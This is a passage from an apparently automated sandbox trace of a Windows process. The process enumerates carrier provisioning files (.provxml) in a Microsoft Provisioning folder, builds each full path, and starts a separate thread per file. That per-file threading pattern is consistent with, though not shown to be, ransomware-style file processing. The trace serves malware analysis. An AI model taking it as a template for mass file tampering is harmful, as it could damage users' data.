Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0084.741] wcscat (in: _Dest=0x341fb78, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0084.741] wcscat (in: _Dest=0x341fb78, _Source="113__Connections_Cellular_TIGO (El Salvador)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\113__Connections_Cellular_TIGO (El Salvador)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\113__Connections_Cellular_TIGO (El Salvador)_i0$(__MVID)@WAP.provxml" [0084.741] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x341fb78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x558 [0084.742] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x904aa5c6, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x904aa5c6, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x904aa5c6, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x28c, dwReserved0=0x0, dwReserved1=0x0, cFileName="114__Connections_Cellular_TIGO (El Salvador)_i1$(__MVID)@WAP.provxml", cAlternateFileName="114__C~1.PRO")) returned 1 [0084.742] wcscmp (_String1="114__Connections_Cellular_TIGO (El Salvador)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0084.742] wcscmp (_String1="114__Connections_Cellular_TIGO (El Salvador)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0084.742] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x146) returned 0x341fcc8 [0084.742] wcscpy (in: _Dest=0x341fcc8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0084.742] wcscat (in: _Dest=0x341fcc8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0084.742] wcscat (in: _Dest=0x341fcc8, _Source="114__Connections_Cellular_TIGO (El Salvador)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\114__Connections_Cellular_TIGO (El Salvador)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\114__Connections_Cellular_TIGO (El Salvador)_i1$(__MVID)@WAP.provxml" [0084.742] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x341fcc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa14 [0084.742] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x904aa5c6, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x904aa5c6, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x904aa5c6, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="115__Connections_Cellular_Elisa Estonia (Estonia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="115__C~1.PRO")) returned 1 [0084.759] wcscmp (_String1="115__Connections_Cellular_Elisa Estonia (Estonia)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0084.759] wcscmp (_String1="115__Connections_Cellular_Elisa Estonia (Estonia)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0084.759] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x150) returned 0x33f9128 [0084.759] wcscpy (in: _Dest=0x33f9128, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0084.759] wcscat (in: _Dest=0x33f9128, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0084.759] wcscat (in: _Dest=0x33f9128, _Source="115__Connections_Cellular_Elisa Estonia (Estonia)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\115__Connections_Cellular_Elisa Estonia (Estonia)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\115__Connections_Cellular_Elisa Estonia (Estonia)_i0$(__MVID)@WAP.provxml" [0084.759] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33f9128, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8cc [0084.760] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x904d0836, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x904d0836, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x904d0836, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x286, dwReserved0=0x0, dwReserved1=0x0, cFileName="116__Connections_Cellular_EMT (Estonia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="116__C~1.PRO")) returned 1 [0084.760] wcscmp (_String1="116__Connections_Cellular_EMT (Estonia)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0084.760] wcscmp (_String1="116__Connections_Cellular_EMT (Estonia)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0084.760] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x13c) returned 0x341fe18 [0084.760] wcscpy (in: _Dest=0x341fe18, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0084.760] wcscat (in: _Dest=0x341fe18, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0084.760] wcscat (in: _Dest=0x341fe18, _Source="116__Connections_Cellular_EMT (Estonia)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\116__Connections_Cellular_EMT (Estonia)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\116__Connections_Cellular_EMT (Estonia)_i0$(__MVID)@WAP.provxml" [0084.760] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x341fe18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7d4 [0084.761] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x904d0836, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x904d0836, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x904d0836, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="117__Connections_Cellular_EMT (Estonia)_i1$(__MVID)@WAP.provxml", cAlternateFileName="117__C~1.PRO")) returned 1 [0084.761] wcscmp (_String1="117__Connections_Cellular_EMT (Estonia)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0084.761] wcscmp (_String1="117__Connections_Cellular_EMT (Estonia)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0084.761] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x13c) returned 0x341ff60 [0084.761] wcscpy (in: _Dest=0x341ff60, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0084.761] wcscat (in: _Dest=0x341ff60, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0084.761] wcscat (in: _Dest=0x341ff60, _Source="117__Connections_Cellular_EMT (Estonia)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\117__Connections_Cellular_EMT (Estonia)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\117__Connections_Cellular_EMT (Estonia)_i1$(__MVID)@WAP.provxml" [0084.761] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x341ff60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9f4 [0084.762] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x904d0836, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x904d0836, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x904d0836, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x290, dwReserved0=0x0, dwReserved1=0x0, cFileName="118__Connections_Cellular_Tele2 (Estonia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="118__C~1.PRO")) returned 1 [0084.762] wcscmp (_String1="118__Connections_Cellular_Tele2 (Estonia)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0084.762] wcscmp (_String1="118__Connections_Cellular_Tele2 (Estonia)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0084.762] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x140) returned 0x34200a8 [0084.762] wcscpy (in: _Dest=0x34200a8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0084.762] wcscat (in: _Dest=0x34200a8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0084.762] wcscat (in: _Dest=0x34200a8, _Source="118__Connections_Cellular_Tele2 (Estonia)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\118__Connections_Cellular_Tele2 (Estonia)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\118__Connections_Cellular_Tele2 (Estonia)_i0$(__MVID)@WAP.provxml" [0084.762] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34200a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x38c [0084.763] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x904d0836, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x904d0836, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x904d0836, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x286, dwReserved0=0x0, dwReserved1=0x0, cFileName="119__Connections_Cellular_Tele2 (Estonia)_i1$(__MVID)@WAP.provxml", cAlternateFileName="119__C~1.PRO")) returned 1 [0084.763] wcscmp (_String1="119__Connections_Cellular_Tele2 (Estonia)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0084.763] wcscmp (_String1="119__Connections_Cellular_Tele2 (Estonia)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0084.763] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x140) returned 0x34201f0 [0084.763] wcscpy (in: _Dest=0x34201f0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0084.763] wcscat (in: _Dest=0x34201f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0084.763] wcscat (in: _Dest=0x34201f0, _Source="119__Connections_Cellular_Tele2 (Estonia)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\119__Connections_Cellular_Tele2 (Estonia)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\119__Connections_Cellular_Tele2 (Estonia)_i1$(__MVID)@WAP.provxml" [0084.763] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34201f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x98c [0084.764] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9013ce1d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9013ce1d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9013ce1d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="11__Connections_Cellular_Optus (Australia)_i2$(__MVID)@WAP.provxml", cAlternateFileName="11__CO~1.PRO")) returned 1 [0084.764] wcscmp (_String1="11__Connections_Cellular_Optus (Australia)_i2$(__MVID)@WAP.provxml", _String2=".") returned 1 [0084.764] wcscmp (_String1="11__Connections_Cellular_Optus (Australia)_i2$(__MVID)@WAP.provxml", _String2="..") returned 1 [0084.764] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x142) returned 0x3420338 [0084.764] wcscpy (in: _Dest=0x3420338, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0084.764] wcscat (in: _Dest=0x3420338, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0084.764] wcscat (in: _Dest=0x3420338, _Source="11__Connections_Cellular_Optus (Australia)_i2$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\11__Connections_Cellular_Optus (Australia)_i2$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\11__Connections_Cellular_Optus (Australia)_i2$(__MVID)@WAP.provxml" [0084.764] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3420338, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7c8 [0084.764] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x904f6aa1, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x904f6aa1, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x904f6aa1, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="120__Connections_Cellular_Vodafone FO (Faroe Islands)_i0$(__MVID)@WAP.provxml", cAlternateFileName="120__C~1.PRO")) returned 1 [0084.765] wcscmp (_String1="120__Connections_Cellular_Vodafone FO (Faroe Islands)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0084.765] wcscmp (_String1="120__Connections_Cellular_Vodafone FO (Faroe Islands)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0084.765] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x158) returned 0x3420488 [0084.765] wcscpy (in: _Dest=0x3420488, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0084.765] wcscat (in: _Dest=0x3420488, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0084.765] wcscat (in: _Dest=0x3420488, _Source="120__Connections_Cellular_Vodafone FO (Faroe Islands)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\120__Connections_Cellular_Vodafone FO (Faroe Islands)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\120__Connections_Cellular_Vodafone FO (Faroe Islands)_i0$(__MVID)@WAP.provxml" [0084.765] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3420488, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x988 [0084.765] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x904f6aa1, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x904f6aa1, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x904f6aa1, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="121__Connections_Cellular_Kidanet (Fiji)_i0$(__MVID)@WAP.provxml", cAlternateFileName="121__C~1.PRO")) returned 1 [0084.765] wcscmp (_String1="121__Connections_Cellular_Kidanet (Fiji)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0084.765] wcscmp (_String1="121__Connections_Cellular_Kidanet (Fiji)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0084.766] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x13e) returned 0x3495370 [0084.766] wcscpy (in: _Dest=0x3495370, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0084.766] wcscat (in: _Dest=0x3495370, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0084.766] wcscat (in: _Dest=0x3495370, _Source="121__Connections_Cellular_Kidanet (Fiji)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\121__Connections_Cellular_Kidanet (Fiji)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\121__Connections_Cellular_Kidanet (Fiji)_i0$(__MVID)@WAP.provxml" [0084.766] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3495370, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8e0 [0084.766] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x904f6aa1, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x904f6aa1, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x904f6aa1, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="122__Connections_Cellular_Vodafone Fiji (Fiji)_i0$(__MVID)@WAP.provxml", cAlternateFileName="122__C~1.PRO")) returned 1 [0084.766] wcscmp (_String1="122__Connections_Cellular_Vodafone Fiji (Fiji)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0084.766] wcscmp (_String1="122__Connections_Cellular_Vodafone Fiji (Fiji)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0084.766] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x14a) returned 0x33f9530 [0084.766] wcscpy (in: _Dest=0x33f9530, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0084.766] wcscat (in: _Dest=0x33f9530, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0084.766] wcscat (in: _Dest=0x33f9530, _Source="122__Connections_Cellular_Vodafone Fiji (Fiji)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\122__Connections_Cellular_Vodafone Fiji (Fiji)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\122__Connections_Cellular_Vodafone Fiji (Fiji)_i0$(__MVID)@WAP.provxml" [0084.767] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33f9530, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x39c [0084.767] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x904f6aa1, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x904f6aa1, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x904f6aa1, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2de, dwReserved0=0x0, dwReserved1=0x0, cFileName="123__Connections_Cellular_Vodafone Fiji (Fiji)_i1$(__MVID)@WAP.provxml", cAlternateFileName="123__C~1.PRO")) returned 1 [0084.767] wcscmp (_String1="123__Connections_Cellular_Vodafone Fiji (Fiji)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0084.767] wcscmp (_String1="123__Connections_Cellular_Vodafone 